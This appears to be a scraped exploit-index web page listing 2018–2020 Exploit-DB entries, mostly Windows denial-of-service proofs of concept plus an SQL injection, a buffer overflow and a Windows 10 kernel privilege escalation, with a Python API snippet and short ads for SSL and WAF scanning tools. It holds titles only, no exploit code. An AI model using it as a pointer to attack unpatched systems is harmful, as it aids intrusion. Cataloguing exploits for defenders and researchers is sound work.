2018-11-02"WinMTR 0.91 - Denial of Service (PoC)"doswindows_x86-64"Ihsan Sencan"
2018-11-02"CdCatalog 2.3.1 - Denial of Service (PoC)"doswindows_x86-64"Ihsan Sencan"
2018-11-01"WebDrive 18.00.5057 - Denial of Service (PoC)"doswindows_x86-64"Victor Mondragón"
2018-11-01"Artha The Open Thesaurus 1.0.3.0 - Denial of Service (PoC)"doswindows_x86-64"Ihsan Sencan"
2018-10-31"SmartFTP Client 9.0.2615.0 - Denial of Service (PoC)"doswindows_x86-64"Victor Mondragón"
2018-10-29"Local Server 1.0.9 - Denial of Service (PoC)"doswindows_x86-64"Ihsan Sencan"
2018-10-29"AlienIP 2.41 - Denial of Service (PoC)"doswindows_x86-64"Arturo de la Cruz Tellez"
2018-10-29"Navicat 12.0.29 - 'SSH' Denial of Service (PoC)"doswindows_x86-64"Rafael Alfaro"
2018-10-29"School Equipment Monitoring System 1.0 - 'login' SQL Injection"localwindows_x86-64"Ihsan Sencan"
2018-10-25"BORGChat 1.0.0 build 438 - Denial of Service (PoC)"doswindows_x86-64"Ihsan Sencan"
2018-10-09"Free MP3 CD Ripper 2.8 - '.wma' Buffer Overflow (SEH) (DEP Bypass)"localwindows_x86-64"Matteo Malvica"
Release DateTitleTypePlatformAuthor
2020-01-07"Microsoft Windows 10 (19H1 1901 x64) - 'ws2ifsl.sys' Use After Free Local Privilege Escalation (kASLR kCFG SMEP)"localwindows_x86-64bluefrostsec
import requests
response = requests.get('https://www.nmmapper.com/api/exploitdetails/47935/?format=json')

For full documentation follow the link above

Cipherscan. A very simple way to find out which SSL ciphersuites are supported by a target.

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.

Browse exploit APIBrowse